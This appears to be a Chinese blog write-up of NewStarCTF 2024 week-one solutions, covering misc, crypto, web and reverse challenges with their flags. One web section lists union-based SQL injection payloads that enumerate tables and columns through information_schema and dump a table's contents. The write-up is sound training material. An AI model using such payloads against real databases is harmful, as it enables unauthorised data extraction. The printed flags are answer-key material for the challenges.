NewStarCtf 2024第一周writeup

有几道题没写出来，但还是希望能够帮到大家理解更多的CTF知识

Signin

操作内容：做选择题得出flag。

flag值：

flag{I_Agr3e_to_FoL10w_th3_ru1es_c41fa97d}

MISC 兑换码

操作内容：

题目提示flag在图片下方，010修改图片宽度，得到flag。

flag值：

flag{La_vaguelette}

MISC Labyrinth

操作内容：

题目标有LSB，用工具找到flag。

flag值：

flag{e33bb7a1-ac94-4d15-8ff7-fd8c88547b43}

MISC WhereIsFlag

操作内容：

kali连接上去，ls挨个目录找的。

你们二次元真的……

flag值：

flag{0083b779-1f5b-4c01-be80-8123c9b05b64}

MISC pleasingMusic

操作内容：

听了下音频，有嘟嘟滴滴的声音，感觉是摩斯电码，题目又说正反都好听，所以把音频反向，获取摩斯电码为：./--../..--.-/--/---/.-./..././..--.-/-.-./---/-../.

flag值：

flag{ez_morse_code}

MISC decompress

操作内容：

逐层解压，最后有个文件和一个要解密的压缩包，文件打开是：^([a-z]){3}\d[a-z]$,感觉像是解压密码的正则，盲跑一下解压软件试试。密码是：xtr4m，打开之后好几个flag.zip文件，拿说的正确的flag试试：

flag值：

flag{U_R_th3_ma5ter_0f_dec0mpress}

Crypto Base

操作内容：

3d3d3d感觉是hex编码的=，所以hex解码。然后base32+base64。

flag值：

flag{B@sE_0f_CrYpt0_N0W}

Crypto Xor

操作内容：

异或。

flag值：

flag{0ops!_you_know_XOR!}

Crypto Strange King

操作内容：

看题目感觉是凯撒，但是单纯解密接不出来。

ksjr-->flag，感觉每个间隔分别是5 7 9 11,再结合题目中的每天进步一点，感觉非常合理，所以写代码跑一下。

解出来flag是：flag{PleaseDoNotStopLearing}。

flag值：

flag{PleaseDoNotStopLearing}

Crypto 一眼秒了

操作内容：

是rsa，从网站获取到n的分解，得到p,q。

解出来flag是：flag{9cd4b35a-affc-422a-9862-58e1cc3ff8d2}。

flag值：

flag{9cd4b35a-affc-422a-9862-58e1cc3ff8d2}

Web headach3

操作内容：

打开网页看响应体，在响应头里。

flag值：

flag{You_Ar3_R3Ally_A_9ooD_d0ctor}

Web 会赢吗

操作内容：

1. /3ntranc3查看页面源代码，获得flag第一部分：ZmxhZ3tXQTB3和/4cqu1siti0n；
2. 猜想/4cqu1siti0n是另一个页面，打开。

查看页面源代码，尝试构造到/api/flag/4cqu1siti0n的post请求（这里是我猜的）。获得：

"flag":"IV95NF9yM2Fs","nextLevel":"s34l"

1. /s34l:查看源代码，修改图示部分：

获得第三部分flag:MXlfR3I0c1B和下一阶段：/Ap3x

1. 查看源代码感觉1部分是关键，要点击2 部分使其生效。<noscript>关闭浏览器的js选项：

获得flag:fSkpKcyF9,下一阶段是空。

(5)组合得到：ZmxhZ3tXQTB3IV95NF9yM2FsMXlfR3I0c1BfSkpKcyF9，base64解密得到flag。

flag值：

flag{WA0w!_y4_r3al1y_Gr4sP_JJJs!}

Web 谢谢皮蛋

操作内容：

看了下是sql注入：

5 union select 1,2#

5 union select database(),2#

5 union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctf'#

5 union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='Fl4g'#

5 union select 1,group_concat(id) from ctf.Fl4g#

5 union select 1,group_concat(des) from ctf.Fl4g#

5 union select 1,group_concat(value) from ctf.Fl4g#

flag值：

flag{fe3abae7-9010-4fd5-81d5-fc7db01684f0}

Reverse begin

操作内容：

按照步骤操作即可：

flag值：

flag{Mak3_aN_3Ff0rt_tO_5eArcH_F0r_th3_f14g_C0Rpse}

来自：NewStarCtf 2024第一周writeup（部分） - 荔枝白 - 博客园

如果有不清晰或不明白的地方，欢迎大家评论区留言讨论。

如果有什么不对或者需要改正的地方，请多多指教！欢迎讨论交流！